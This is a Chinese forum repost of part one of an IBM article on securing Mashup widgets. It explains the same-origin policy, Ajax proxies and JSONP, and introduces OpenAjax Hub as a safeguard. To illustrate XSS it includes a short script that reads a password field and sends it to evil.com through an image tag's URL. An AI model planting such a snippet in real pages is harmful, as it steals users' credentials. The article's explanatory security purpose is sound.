首页 | 新闻 | 新品 | 文库 | 方案 | 视频 | 下载 | 商城 | 开发板 | 数据中心 | 座谈新版 | 培训 | 工具 | 博客 | 论坛 | 百科 | GEC | 活动 | 主题月 | 电子展
返回列表 回复 发帖

利用 OpenAjax 在 IBM Mashup Center 中提高 iWidget 的安全性(1)

利用 OpenAjax 在 IBM Mashup Center 中提高 iWidget 的安全性(1)

Mashup 应用的安全隐患什么是同源策略要了解不受信 Widget 给 Mashup 应用带来的危险,首先要理解浏览器的同源策略(Same-Origin Policy)。
浏览器的同源策略是 Web 安全的基础,所有的主流浏览器都会有相应的实现。同源策略中“源”是一个包含主机名、协议和端口号的三元组。在同源策略的限制下,浏览器只允许网页中的脚本(如 JavaScript 或 VBScript)访问与之同源的 HTTP 请求和 cookie。比如, 和  是属于同一个源,网页之间的脚本访问不受限制;而在  页面中的脚本无法对  里的数据进行读和写,即使  域名对应的 IP 就是 12.34.56.78。下表给出了一些与  做同源比较的结果:
表 1. 同源 URL 实例[td]
URL 是否同源原因
http://www.example.com/directory2/page2.html
http://www.example.com/directory/another.html
https://www.example.com/directory/page.html 协议不同
http://www.example.com:8080/directory/page.html 端口号不同
http://www.example2.com/directory/page.html 主机名不同

这里需要注意的是同源策略只对网页的 HTML 文档对象做了限制,而对静态的资源文件,如 JavaScript 文件、CSS 文件、图片都可以被导入到 HTML 文档对象中(例如 , <script src="..." >, <img src=”…”>)。因此,对于静态文件可以从任意其它域名下导入 HTML 文档。这些从其他域名导入的文件都会被认为在导入的 HTML 文档的上下文中操作,所以是符合同源条件的。对于 XMLHttpRequest, 同源策略会限制应用程序不能够访问“非同源”的服务。
同源策略保证了 Web 应用的安全。这样,用户在访问网上银行的时候就保证不会被网页中插入的恶意代码窃取密码再发送到别的服务器上去。但是这一策略恰恰在 Web2.0 时代成为了一个应用开发的障碍。Web2.0 时代的网页应用不仅要求用户可以查看页面,同时也允许用户贡献,分享数据。尤其是像 Mashup 这种需要集成多方的数据源的应用。比如,作为显示多家航空公司票价的 Mashup 应用,我们希望在同一个页面上能够同时显示来自多个航空公司网站的票价数据。但是由于同源策略的限制,我们无法直接在 Mashup 的 Web 客户端用脚本语言访问这些航空公司来取得数据。为此,我们必须绕过浏览器的同源策略限制。
如何绕过同源策略的限制要绕过浏览器的同源策略限制,主要有以下几种方法:
Ajax 代理
通常的做法是在服务器端实现 Ajax 代理。比如  中的脚本需要取得来自  中的机票信息,可以在 foo.com 的服务端实现一个 Ajax 代理。这样,当客户端需要往 bar.com 发送请求的时候,客户端可以向服务器端的 Ajax 代理  网址发送请求。Ajax 代理在服务端向  转发请求,返回后再转发给 Web 客户端。通过这样的方式,foo.com 的 Web 客户端实际上是往自己域名下的发送请求而不会受到浏览器的限制。这是常见的 Mashup 平台惯用的做法。不过,显然 Ajax 代理带来的便利也变成了恶意代码滋生的温床。通过 Ajax 代理,彻底破坏了浏览器的同源策略。运用代理 , 任何一个脚本都可以不受限的与远端的服务器进行通信。
JSON 和动态 Script 标签
浏览器的同源策略仅限于页面的 HTML 文档,而对静态的资源文件没有要求。对于脚本文件来说,不管来自于什么域名下的脚本,只要导入到当前页面上,在当前页面上执行,则脚本运行的上下文就是当前域名。这也给了我们另一个机会用在 Web 客户端直接用脚本语言来访问其他域名下的内容。JSON with Padding(JSONP)这种方法通过动态添加 <script> 标签的方法来与远端的服务器进行交互。请看下面的例子:
运行在  页面中的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
(function() {
    function showAirTicket(data) {
        // 显示数据内容
        // ...
    }
    // 创建动态脚本标签
    var scriptTag = document.createElement("SCRIPT");
    scriptTag.setAttribute("type", "text/javascipt");
    scriptTag.setAttribute("src",
        "http://www.bar.com/getTicket?startDate=20091224
    &endDate=20100113&callback=showAirTicket");
    document.body.appendChild(scriptTag);
})();




上面的脚本创建了一个 script 的标签,向 bar.com 请求脚本文件。同时通过 script 标签中 src 的 URL 把 startDate 和 endDate 信息告诉 bar.com。最后提供了 callback 用的函数名。bar.com 接收到这个请求后把数据使用 JSON 格式并且用 callback 函数调用的方式包装起来发回给 foo.com。返回数据如下:
1
showAirTicket("{departTime:1305,arriveTime:1555,code:'CX017'}");




这样,返回的数据会被浏览器认为是一段可执行的脚本运行。而真正的数据“{departTime:1305,arriveTime:1555,code:'CX017'}”作为形参,传入事先定义好的 showAirTicket 函数中作显示。
这是一种非常方便,不需要 Mashup 服务端做任何修改的跨域调用方法。只要远端的数据服务器支持 JSONP 的访问方式,比如 Google 的众多数据服务,就可以用纯客户端的脚本构建 Mashup 应用。但是这个便利的方法同样变成了恶意代码的栖息之地。大量的跨域脚本攻击(XSS)都利用了这种方式窃取用户敏感信息。比如,黑客们可以动态创建一个伪造的图片,地址指向自己的服务器来绕开同源策略,如:
1
2
3
4
5
6
7
8
(function(){
    function getPassword() {
        var pw = document.getElementById("password").value;
        var imgTag = document.createElement("IMG");
        imgTag.setAttribute("src", "http://evil.com?pw=" + pw);
    }
    document.getElementById("submit").addEventListener("click",getPassword);
})()




上面这段代码动态创建了一个 IMAGE 标签,并把获得的密码通过 <img> 通过 URL 传递给远端的接收服务器。通过 <img> 和 <iframe> 这些静态资源文件的标签都可以被利用来作为绕过同源策略的手段。
浏览器插件
除了 Ajax 代理和动态 Script 标签的方法外,还可以利用浏览器本身的插件绕过浏览器的同源策略。现代的浏览器如 Firefox,有大量的扩展。比如 GreaseMonkey 插件,提供了 GM_XMLHttpRequest 对象用于跨域访问。这个对象与浏览器本身的 XMLHttpRequest 的区别就是前者没有同源策略的限制。由于这些扩展多限于特定的浏览器,使用起来对 Web 客户端要求较高,应用范围狭窄,本文不在这里详述。
同源策略保证了数据访问的安全性,阻隔了大多数黑客通过 Web 客户端 用户信息的途径,但是在 Mashup 应用中却成为了阻碍 Mashup 的障碍。因此 Mashup 应用也针对同源策略提供了上面几种绕开同源策略的手段。这些手段给 Mashup 应用带来了大大的便利,同时也削弱了浏览器本身的安全性。如何给 Widget 开发人员提供便利的跨域访问方法的同时,保证恶意代码不会由 Widget 的导入而导入成为 Mashup 平台的重要问题。
在企业 Mashup 环境中,既要为 Mashup 提供 Web 客户端访问第三方信息源的手段,又不能由于这些手段引入新的安全的隐患。IBM Mashup Center 2.0 是 IBM 发布的企业级 Mashups 应用构建平台,为了解决上述问题,引入了 OpenAjax Hub 来保证企业 Mashup 环境的安全性。
返回列表